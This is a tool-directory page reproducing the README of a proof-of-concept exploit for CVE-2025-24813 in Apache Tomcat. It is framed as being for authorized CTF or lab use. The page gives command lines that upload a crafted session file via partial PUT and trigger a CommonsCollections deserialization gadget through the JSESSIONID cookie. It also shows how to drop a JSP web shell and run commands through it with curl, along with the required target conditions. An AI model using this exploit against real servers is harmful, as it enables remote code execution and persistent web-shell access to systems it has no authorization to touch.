Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-24813 — right payload for java CVE | Kitploit
Tools/GitHubGitHub/loufa0/cve-2025-24813
Vulnerability ScannersExploitationWeb SecurityCTFLearning & EducationLabs & Practice
GitHubloufa0/cve-2025-24813

CVE-2025-24813

right payload for java CVE

View Repository
2 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-24813 Tomcat PoC

PoC for an authorized CTF/lab environment. It exploits CVE-2025-24813 via partial PUT write of a Tomcat session file, then triggers deserialization with JSESSIONID.

Prerequisites

  • Python 3
  • Python requests module
  • Java JDK (java and javac)
  • The included commons-collections-3.2.1.jar file, placed in this directory

ysoserial is not required.

Files

  • poc_cve_2025_24813.py: Python wrapper that automates generation, upload, and trigger.
  • GenerateTomcatSessionPayload.java: generates a valid Tomcat session containing a CommonsCollections gadget.
  • commons-collections-3.2.1.jar: dependency for the gadget.
  • sh.jsp: optional JSP shell deployed by --drop-shell.

Usage

Drop a JSP shell in the default webroot /opt/tomcat/webapps/ROOT:

root@kitploit:~
./poc_cve_2025_24813.py http://TARGET:8080 \
  --session-id poc24813 \
  --drop-shell \
  --shell-name sh.jsp

Run a direct command without dropping a shell:

root@kitploit:~
./poc_cve_2025_24813.py http://TARGET:8080 \
  --session-id cmd24813 \
  --cmd 'id > /opt/tomcat/webapps/ROOT/rce.txt'

If the webroot is different:

root@kitploit:~
./poc_cve_2025_24813.py http://TARGET:8080 \
  --drop-shell \
  --webroot /path/to/webroot \
  --shell-name sh.jsp

If the JAR is moved, specify its path:

root@kitploit:~
./poc_cve_2025_24813.py http://TARGET:8080 \
  --jar /path/to/commons-collections-3.2.1.jar \
  --drop-shell

After exploitation

If --drop-shell succeeds:

root@kitploit:~
curl --get --data-urlencode 'cmd=id' http://TARGET:8080/sh.jsp
curl --get --data-urlencode 'cmd=cat /opt/tomcat/user.flg' http://TARGET:8080/sh.jsp

Target-side conditions

  • Vulnerable Tomcat version.
  • DefaultServlet writable, typically readonly=false.
  • Partial PUT support.
  • Persistent sessions via PersistentManager and FileStore.
  • Gadget chain available on the server side, here commons-collections.

The expected behavior during upload is often HTTP 409 Conflict on:

root@kitploit:~
PUT /<session-id>/session
Content-Range: bytes 0-1000/1200

Then deserialization is triggered with:

root@kitploit:~
Cookie: JSESSIONID=.<session-id>
Download Tool